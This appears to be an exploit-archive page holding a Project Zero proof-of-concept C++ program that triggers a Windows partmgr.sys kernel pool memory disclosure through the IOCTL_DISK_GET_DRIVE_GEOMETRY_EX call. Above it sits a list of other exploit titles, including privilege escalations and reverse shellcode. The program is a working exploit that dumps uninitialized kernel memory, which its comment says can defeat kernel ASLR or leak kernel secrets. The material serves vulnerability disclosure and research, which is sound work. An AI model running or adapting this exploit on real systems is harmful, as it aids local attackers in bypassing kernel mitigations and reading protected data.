df0343af6d
13 new exploits Microsoft Windows - 'win32k!NtGdiGetOutlineTextMetricsInternalW' Kernel Pool Memory Disclosure Microsoft Windows - 'IOCTL 0x390400_ operation code 0x00020000' Kernel KsecDD Pool Memory Disclosure Microsoft Windows - 'IOCTL_MOUNTMGR_QUERY_POINTS' Kernel Mountmgr Pool Memory Disclosure Microsoft Windows - '0x224000 IOCTL (WmiQueryAllData)' Kernel WMIDataDevice Pool Memory Disclosure Microsoft Windows - 'win32k!NtGdiEnumFonts' Kernel Pool Memory Disclosure Microsoft Windows - 'IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS' volmgr Pool Memory Disclosure Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_GEOMETRY_EX' Kernel partmgr Pool Memory Disclosure Microsoft Windows - 'IOCTL_DISK_GET_DRIVE_LAYOUT_EX' Kernel partmgr Pool Memory Disclosure Microsoft Windows - 'nt!NtQueryVolumeInformationFile (FileFsVolumeInformation)' Kernel Pool Memory Disclosure Microsoft Windows - 'nt!NtNotifyChangeDirectoryFile' Kernel Pool Memory Disclosure Microsoft Windows - 'nt!KiDispatchException' Kernel Stack Memory Disclosure in Exception Handling sudo 1.8.0 < 1.8.3p1 (sudo_debug) - glibc FORTIFY_SOURCE Bypass + Privilege Escalation sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypass + Privilege Escalation Linux Kernel 3.14.5 (RHEL / CentOS 7) - 'libfutex' Privilege Escalation Linux Kernel 3.14.5 (CentOS 7 / RHEL) - 'libfutex' Privilege Escalation Sudo 1.8.14 - Unauthorized Privilege Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Privilege Escalation Linux/x86 - Reverse UDP Shellcode (668 bytes) PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution
92 lines
3.6 KiB
C++
Executable file
92 lines
3.6 KiB
C++
Executable file
/*
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1156&desc=2
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We have discovered that the handler of the IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL in partmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.
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On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
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--- cut ---
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00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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00000040: 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ff ff ................
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00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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--- cut ---
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Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.
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The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
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--- cut ---
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00000000: bf 0c 00 00 00 00 00 00 0c 00 00 00 ff 00 00 00 ................
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00000010: 3f 00 00 00 00 02 00 00 00 00 00 40 06 00 00 00 ?..........@....
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00000020: 18 00 00 00 00 00 00 00 ee a2 5d 9f 00 00 00 00 ..........].....
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00000030: 00 00 00 00 00 00 00 00 38 00 00 00 01 00 00 00 ........8.......
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00000040: 80 00[c1 c1]ff 03 00 00 3f 00 fe 00 01 00[c1 c1]........?.......
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00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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--- cut ---
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Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
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*/
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#include <Windows.h>
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#include <cstdio>
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VOID PrintHex(PBYTE Data, ULONG dwBytes) {
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for (ULONG i = 0; i < dwBytes; i += 16) {
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printf("%.8x: ", i);
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for (ULONG j = 0; j < 16; j++) {
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if (i + j < dwBytes) {
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printf("%.2x ", Data[i + j]);
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}
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else {
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printf("?? ");
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}
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}
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for (ULONG j = 0; j < 16; j++) {
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if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
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printf("%c", Data[i + j]);
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}
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else {
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printf(".");
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}
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}
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printf("\n");
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}
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}
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int main() {
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// Open the disk device.
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HANDLE hDisk = CreateFile(L"\\\\.\\C:",
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0,
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0,
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NULL,
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OPEN_EXISTING,
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FILE_ATTRIBUTE_NORMAL,
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NULL);
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if (hDisk == INVALID_HANDLE_VALUE) {
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printf("CreateFile failed, %d\n", GetLastError());
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return 1;
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}
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// Obtain the output data, assuming that it will fit into 1024 bytes.
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BYTE geometry[1024];
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DWORD BytesReturned;
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if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, NULL, 0, &geometry, sizeof(geometry), &BytesReturned, NULL)) {
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printf("DeviceIoControl failed, %d\n", GetLastError());
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CloseHandle(hDisk);
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return 1;
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}
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// Dump the output data on screen and free resources.
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PrintHex(geometry, BytesReturned);
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CloseHandle(hDisk);
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return 0;
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}
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